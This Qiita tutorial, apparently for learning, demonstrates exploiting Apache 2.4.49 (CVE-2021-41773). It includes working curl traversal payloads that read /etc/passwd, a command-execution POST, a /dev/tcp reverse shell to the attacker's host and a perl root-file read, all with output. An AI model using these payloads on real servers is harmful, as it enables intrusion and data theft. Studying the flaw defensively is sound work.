LoginSignup
2
0

Apache HTTP Serverのディレクトリトラバーサル脆弱性_CVE-2021-41773_検証

Last updated at Posted at 2023-09-27

投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。

概要

 2021年10月6日に公開された脆弱性であるApache HTTP Serverのディレクトリトラバーサルの脆弱性(CVE-2021-41773,CVE-2021-42013)について、PoCコードを基に攻撃例を紹介する記事となります。

偵察(Reconnaissance)

NMAPで使用されているサービスの調査

NMAPのコマンド

nmap -sV [標的のIPアドレス]

NMAPの結果

Starting Nmap 7.93 ( https://nmap.org ) at xxx
Nmap scan report for [標的のIPアドレス]
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.49 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds

ここで、注目するのは「Apache httdp 2.4.49」が動作していることが確認できる
Apache httdp 2.4.49は、以下の脆弱性が報告されている

初期アクセス(Initial Access)

CVE-2021-41773が悪用できることを確認するため以下のPoCコードで確認を実施する

● passwdファイルを入手するPoCコード
curl http://[標的のIPアドレス]/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
curl http://[標的のIPアドレス]/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl http://[標的のIPアドレス]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl http://[標的のIPアドレス]/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl http://[標的のIPアドレス]/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
curl http://[標的のIPアドレス]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl http://[標的のIPアドレス]/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl http://[標的のIPアドレス]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

実行結果

curl http://[標的のIPアドレス]/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[標的のユーザ]:x:1000:1000:user,,,:/home/user:/bin/bash

攻撃に成功すると/etc/passwdの中身が表示される

リモートコード実行

CVE-2021-41773はリモートコード実行(RCE)の脆弱性もできる

●リモートコード実行のPoCコード
curl http://[標的のIPアドレス]/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
curl http://[標的のIPアドレス]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
curl http://[標的のIPアドレス]/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
curl http://[標的のIPアドレス]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

CVE-2021-417733の脆弱性を利用してリモートコード実行できるかを確認

curl -v -d 'echo -e "\n$(id)"' http://[標的のIPアドレス]/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash

実行結果

*   Trying [標的のIPアドレス]:80...
* Connected to [標的のIPアドレス] ([標的のIPアドレス]) port 80 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: [標的のIPアドレス]
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Length: 17
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 200 OK
< Date: xxxx
< Server: Apache/2.4.49 (Debian)
< Transfer-Encoding: chunked
< 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Connection #0 to host [標的のIPアドレス] left intact

idを表示するリモートコードを実行した結果、idが表示されていることを確認することができる

実行(Execution)

CVE-2021-417733を悪用してリバースシェルを張る

ncコマンドで待ち受ける

nc -lvvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

シェルコード実行

curl -v -d 'echo -e "\n$(bash -i >& /dev/tcp/[端末のIPアドレス]/4444 0>&1)"' http://[標的のIPアドレス]/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash

攻撃側のコンソール結果

*   Trying [標的のIPアドレス]:80...
* Connected to [標的のIPアドレス] ([標的のIPアドレス]) port 80 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: [標的のIPアドレス]
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Length: 55
> Content-Type: application/x-www-form-urlencoded
> 

待ち受け側のコンソール結果

Ncat: Connection from [標的のIPアドレス].
Ncat: Connection from [標的のIPアドレス]:51120.
bash: cannot set terminal process group (546): Inappropriate ioctl for device
bash: no job control in this shell
www-data@[ユーザ名]:/usr/bin$ 

侵入に成功

権限昇格(Privilege Escalation)

今回はperlを用いてroot権限のファイルを抜いてくる方法を行う

www-data@ドメイン:/usr/bin$ LFILE=/root/[ファイル名]
LFILE=/root/[ファイル名]
perl -ne print $LFILE

参考文献

  • CVE-2021-41773のPoCコード

  • perlのファイルの読み取りのコード

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0